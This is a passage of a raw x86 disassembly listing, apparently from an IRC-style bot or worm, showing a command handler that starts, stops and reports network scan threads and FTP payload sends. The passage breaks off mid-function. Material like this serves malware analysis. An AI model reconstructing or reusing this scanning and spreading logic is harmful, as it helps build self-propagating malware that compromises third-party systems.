sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F8B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB50[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8370
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44964F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445418
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445418


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, off_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5F76F7
		mov	eax, dword_445418
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445420


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5F76F7
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5F76F7
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445418
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445418
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445418[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		call	near ptr 77C47660h
		nop
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455E4
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D808D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455E4
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D808D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
